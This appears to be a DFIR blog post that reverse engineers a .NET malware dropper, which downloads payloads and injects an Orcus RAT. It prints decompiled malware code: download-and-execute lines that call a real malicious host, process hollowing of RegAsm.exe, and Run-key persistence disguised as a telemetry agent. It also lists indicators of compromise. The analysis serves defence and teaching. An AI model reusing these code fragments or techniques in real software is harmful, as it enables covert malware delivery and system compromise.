In this blog post we will reverse engineer a sample which acts as downloader for malware (aka a “dropper”). It is not uncommon to find such a downloader during DFIR engagements so we decided to take a look at it.

The sample that we are going to analyze has been obtained from abuse.ch and was reported at the end of 2019 with the tags “downloader” and “orcus”:

In this case the file comes with a .jar extension, but as we will see later, it is actually a standard Windows executable. When executed, epic.jar (or epic.exe) will first try to download two txt files from the internet.
Afterwards, it will rename and execute one of these downloaded files as winregsrv.exe and subsequently run RegAsm.exe (a legitimate windows executable found in .NET installations [1]) and inject a section of the second file into its process memory. This picture illustrates the behavior of the analyzed dropper:

In this post we only analyze the downloader (epic.exe) ignoring winregsrv.exe and RegAsm.exe.

Following chapters will illustrate how the file was decompiled and deobfuscated how epic.exe downloaded the other pieces of malware . In the final part we will show how the new processes are started and how persistence is achieved.

File Identification, Decompilation and String Deobfuscation

As you can see the file comes with a .jar extension. Using DIE [2] we can however quickly confirm that the file is not a JAR but a .NET executable:

The sample is opened in dnSpy [3] revealing the structure of the decompiled sample:

We see the resource files (in particular the one named “resource” which will be used later) and the various .NET classes. By clicking on IviondVoid.exe, we see the metadata and the entry point of the binary (Class “a” method “a”):

// IvionVoid.exe

// Global type: <Module>
// Entry point: a.a
// Architecture: x86
// Runtime: .NET Framework 4
// Timestamp: 5E007FF9 (12/23/2019 9:51:05 AM)

After taking a look at the entry point function, an interesting line of code caught our attention:

[STAThread] private static void a() {
...  
string text2 = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + <Module>.c(-1830414811 ^ -1830387698, sizeof(byte) + 39366, 65);
...
}

We see that a string (the Application Data folder of the user) is being concatenated with the output of the method <Module>.c(int, int, int). It seems that strings are actually obfuscated and the malware uses <Module>.c(int, int, int) to deobfuscate them.

After a quick check we confirm that the method is responsible for returning a string after reading three integer values as parameters and decoding the information found in the obfuscated resource file:

Here is the <Module>.c(int, int, int) method:

internal static string c(int P_0, int P_1, int P_2) {
    P_0 += 593;
    Assembly executingAssembly = Assembly.GetExecutingAssembly();
    P_1 -= 331;
    Stream manifestResourceStream = executingAssembly.GetManifestResourceStream("resource");
    int num = P_0 ^ P_1;
    num = num * 17 / 27;
    manifestResourceStream.Seek(7 + num, SeekOrigin.Begin);
    byte[] array = new byte[8];
    manifestResourceStream.Read(array, 0, 4);
    int num2 = (BitConverter.ToInt32(array, 0) ^ 0x7D2DDC68) - 100;
    manifestResourceStream.Read(array, 0, 4);
    int num3 = (BitConverter.ToInt32(array, 0) - 5) ^ 0x1CF26A2F;
    manifestResourceStream.Seek(num2, SeekOrigin.Begin);
    array = new byte[num3];
    manifestResourceStream.Read(array, 0, num3);
    for (int i = 0; i < array.Length; i++){
        array[i] = (byte)(array[i] ^ P_2);
    }
    return Encoding.UTF8.GetString(array);
}

First a Stream object is created by reading the “resource” file. The three integers P_0, P_1, P_2 are used to move around in the resource file and perform some calculations on the read data. At the end of the method we clearly see how the UTF8 representation of the byte array is returned.

To quickly extract all obfuscated strings, it would be easy to run the malware and perform behavioral analysis, but in our case the sample did not run properly so we decided to extract the strings manually.

By checking where the method <Module>.c(int, int, int) is called, we can identify quite a lot of places where it is used:

We detected around 18 calls to the method but the most interesting ones are to be found in the a.a() and q.a() methods. Here is an example of such a code line in q.a():

Directory.CreateDirectory(folderPath + <Module>.c(num, (((m / 1753 & m * 2 + 62 * m) ^ -1494) != 0) ? (((8655 ^ m * 7 + m) != 0) ? (sizeof(uint) + 58159) : (((m + m - -3545 | -2) == -1) ? ((int)((IntPtr)(1246548022 ^ 86095112))) : checked((int)-1085959746L))) : (sizeof(ushort) + -943959491), sizeof(ulong) + 33));

We see that a directory is being created so we expect the parameter to be a file system path. To deobfuscate all strings we performed the following steps:

  1. Created a new project in Visual Studio (C#)
  2. Copied the <Module>.c function in the project
  3. Copied all calls to <Module>.c in the project. Also pay attention to include all the relative variables which are used in the function’s parameters. When you do not know a variable’s value, assign it a default value of 0 or check if other computations are done before in the code.
  4. Extracted the resource file “resource” and included it in the project

After building and running the project, the strings are successfully deobfuscated:

From the output above we can already assume that the malware tries to download multiple files (apparently .txt but we do not believe they are really text files…) and it could try to manipulate the registry.

File Download

We will now take a look at how the function a.a() downloads the two .txt files. We will also replace the obfuscated strings found in the code with the one we previously deobfuscated to facilitate reading:

private static void a() {
    ...
    try {
        WebClient webClient3 = webClient2;
        ...
        //text3 = webClient3.DownloadString(.c(num, ((num2 & num3 - (num3 + 449)) == 1) ? (Type.EmptyTypes.Length + 13829) : (sizeof(ulong) + -1761516878), Type.EmptyTypes.Length + 149));
        text3 = webClient3.DownloadString("http://vluci[.]strangled[.]net/vladvilcu2006[.]txt")
    }  
    ...
    string text4;
    try {
        WebClient webClient5 = webClient4;
        ...
        //string address = <Module>.c(num4, num5, num7);
        string address = "http://vluci[.]strangled[.]net/hardwick[.]txt"
        text4 = webClient5.DownloadString(address);
    }
    ...

From the code snippet above we can see that WebClient objects are used to download the two files. The vladvilcu2006.txt file is stored in text3 and hardwick.txt in text4.

Process Execution

winregsrv.exe

If we continue reading the code of the a.a() method, we spot one interesting place where process execution happens.

private static void a() {
    string text;
    ...
    string text2 = "C:\Users\john\AppData\Roaming\" + "winregsrv.exe"
    text = text2;
    ...
    string address = "http://vluci.strangled.net/hardwick.txt"
    text4 = webClient5.DownloadString(address);
    ...
    bool flag = File.Exists(text);
    ...
    if (!flag) {
         File.WriteAllBytes(text, Convert.FromBase64String(a.b(text4)));
    }
    Process process = new Process();
    ProcessStartInfo startInfo = process.StartInfo;
    ...
    startInfo.FileName = text;
    ...
    process.Start();
    q.a();
    ...

This code will first check if “C:\Users\john\AppData\Roaming\winregsrv.exe” exists. If not, it will store the content of http://vluci[.]strangled[.]net/hardwick[.]txt (variable text4) into the winregsrv.exe file. Note that an a.b() method is used along with Convert.FromBase64String in File.WriteAllBytes. The method a.b() will actually reverse the string in text4 before it is then base64 decoded. Afterwards the winregsrv.exe is set as the file name for a new process (startInfo.FileName) and then started with process.Start().

RegAsm.exe

The second interesting spot where process execution happens is always inside a.a(), just some lines below the code we analyzed before and it is not so explicit as the previous one.

Pay attention where the b.a() method is called and d.i() is passed as parameter:

private static void a() {
    ...
    b.a(d.i(array, text6, flag2, array2));
    ...
}

The d.i method just returns an object of type “d” and accepts four parameters. These are the values being passed in the above call:

  • array: the content of the vladvilcu2006.txt file downloaded before, inversed, base64 decoded and converted to a byte array
  • text6: the string “C:\Program Files\dotnet\shared\Microsoft.NETCore.App\3.1.0\RegAsm.exe”.
  • flag2: just a boolean value set to “true”
  • array2: a string object which does not contain anything interesting.

We now move from a.a() to b.a() and analyze the code of this last method. We will not show the whole code but just an excerpt where something interesting happens:

public unsafe static bool a(d A_0) {
    ...
    num2 = 12U;
    ...
    if (A_0.d) {
        num2 |= 134217728U;
    }
    ...
    uint num4 = 0U;
    string text = null; 
    string text2 = A_0.j();
    IntPtr zero = IntPtr.Zero;
    IntPtr zero2 = IntPtr.Zero;
    bool flag2 = false;
    uint num5 = num2;
    IntPtr zero3 = IntPtr.Zero;
    string text3 = Path.GetDirectoryName(Assembly.GetEntryAssembly().Location);
    byte[] array2 = new byte[0];
    ...
    if (!c.a(num4, text, text2, zero, zero2, flag2, num5, zero3, text3, array2, &e, 0U)) {
        ...
        if (!c.b(e.a, -1)) {
            throw new Win32Exception(Marshal.GetLastWin32Error());
        }
        ...
    }
    ...

A method call with a lot of parameters followed by an exception catches our attention. In fact, if we look at what c.a() actually is, we will find out that it is an API call to kernel32.dll (the same holds for c.b() some lines below):

c.a() corresponds to CreateProcessInternal whereas c.b() is actually TerminateProcess.
After some googling we did find a reference to CreateProcessInternal [4] and we identified two interesting parameters.

The lpCommandLine (variable text2), which in our case is “C:\Program Files\dotnet\shared\Microsoft.NETCore.App\3.1.0\RegAsm .exe” tells which command line has to be executed. This seems pretty straightforward.

The second one is dwCreationFlags (variable num2) that corresponds to the result of the OR operation “12U | 134217728U”, which is 134217740.
This value converted to base 16 is equal to 0x0800000c. A quick look at the process creation flags reference [5] tells us how the process is started:

  • CREATE_NO_WINDOW (0x08000000)
  • DETACHED_PROCESS (0x00000008)
  • CREATE_SUSPENDED (0x00000004)

The process is created without a visible window, is detached from its parent console and most important is created suspended. This means the process won’t run yet but it is paused. This allows the malware to perform some operations on the memory the process owns (such as overwriting part of it).

We go further in our analysis and we rename all methods in the c class to make them more readable. We see an interesting behavior just below the c.a() (or CreateProcessInternal) call. The following other calls are in fact performed:

  • c.NtUnmapViewOfSection(e.a, intPtr2);
  • c.VirtualAllocEx(e.a, intPtr2, ptr4->c.d, 12288U, 64U)
  • c.WriteProcessMemory(e.a, intPtr2, intPtr, ptr4->c.e, IntPtr.Zero)
  • c.ResumeThread(e.b);

These are the definitive sign that the malware is performing classic process hollowing (literally “an empty space within anything” or something with a “cavity inside”): NtUnmapViewOfSection will in fact remove from the memory the legitimate code RegAsm.exe loaded before, leaving space for something malicious to be written there.

VirtualAllocEx is used to allocate a memory region with execute, read-only, or read/write access (64U as parameter is 0x0000040, that corresponds to PAGE_EXECUTE_READWRITE [6]).

WriteProcessMemory (there are many calls to it not just one) will actually write in the previously allocated region the malicious code. In the example above the data to be written comes from intPtr which has been previously initialized with the content of vladvilcu2006.txt.

At the end ResumeThread is started and RegAsm.exe will now execute the code the attacker injected.

Persistence of the Downloader

In the first part of this article we identified some strings related to the registry right in the q.a() method. This method is actually started right after the first process is being executed (check the paragraphs above). Let’s analyze it to see if we can confirm this method is responsible for persistence:

public static void a() {
    ...
    string folderPath = "C:\Users\john\AppData\Roaming"
    ...
    Directory.CreateDirectory(folderPath + "\Windows Telemetry");
    ...
    string folderPath2 = "C:\Users\john\AppData\Roaming"
    ...
    string text = folderPath2 + "\Windows Telemetry\TelemetryAgent.exe";
    ...
    if (!File.Exists(text)) {
        File.Copy(Assembly.GetEntryAssembly().Location, text);
    }
    RegistryKey currentUser = Registry.CurrentUser;
    ...
currentUser.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run").SetValue("Windows Telemetry Agent", "C:\Users\john\AppData\Roaming\Windows Telemetry\TelemetryAgent.exe");
   ...
}

As we replace the obfuscated strings everything becomes clearer:

  1. First a “Windows Telemetry” folder is created in the ApplicationData folder of the user.
  2. A check is then performed on the existence of the “TelemetryAgent.exe” file.
  3. If the file does not exists, epic.exe copies itself with Assembly.GetEntryAssembly().Location into TelemetryAgent.exe.
  4. At the end, the “SOFTWARE\Microsoft\Windows\CurrentVersion\Run” subkey is opened (user hive, not system hive) and a new string variable called “Windows Telemetry Agent” is created with the content “C:\Users\john\AppData\Roaming\Windows Telemetry\TelemetryAgent.exe”

Recap

In this blog post we have analyzed the behavior of the downloader epic.jar (or epic.exe) and we were able to understand its purpose and intentions.

We saw at the beginning that two files are downloaded: “http://vluci.strangled.net/vladvilcu2006.txt” and “http://vluci.strangled.net/hardwick.txt“.
hardwick.txt is copied into winregsrv.exe which is then started as separate process. vladvilcu2006.txt is instead used (or at least parts of it) to inject malicious code into the memory of the legitimate RegAsm.exe process, which is started in suspended mode as a standalone process and then resumed.

The malware also tries to achieve persistence by creating a new registry entry for the Windows Autorun configuration.

The downloader per se did not perform any other malicious actions rather than downloading files, starting processes, and creating a registry key. It would be surely interesting and advised as next step to analyze the content of the two downloaded files to find out more about the end goal of the malware.

Thanks to a submission on any.run it is possible to get more insight on the other downloaded files. RegAsm.exe will in fact be injected with Orcus [7].

Orcus is a legitimate RAT (Remote Administration Tools) which has often been used in a lot of malware attacks around the globe. A RAT is used to remotely administer machines but authorities have pointed out, in the case of ORCUS, that the software acted more as a “Remote Access Trojan” [8].

You can find the epic.exe submission along with the other two files dropped at https://app.any.run/tasks/cd3dd844-cfaa-4ec2-b2d6-f447a45ba3ff/.

IoCs

  • http://vluci[.]strangled[.]net/vladvilcu2006[.]txt
  • http://vluci[.]strangled[.]net/hardwick[.]txt
  • “SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Windows Telemetry Agent”
  • “C:\Users*\AppData\Roaming\Windows Telemetry\TelemetryAgent.exe”

References

  1. https://docs.microsoft.com/en-us/dotnet/framework/tools/regasm-exe-assembly-registration-tool
  2. http://ntinfo.biz/index.html
  3. https://github.com/0xd4d/dnSpy
  4. https://social.msdn.microsoft.com/Forums/ie/en-US/e099300d-3516-465d-8283-a6ff4ff0b05c/how-to-get-the-address-of-original-createprocessinternalw-which-is-required-for-the-hooking?forum=windowsgeneraldevelopmentissues
  5. https://docs.microsoft.com/en-us/windows/win32/procthread/process-creation-flags
  6. https://docs.microsoft.com/en-us/windows/win32/memory/memory-protection-constants
  7. https://www.cyber.nj.gov/threat-profiles/trojan-variants/orcus
  8. https://krebsonsecurity.com/2019/11/orcus-rat-author-charged-in-malware-scheme/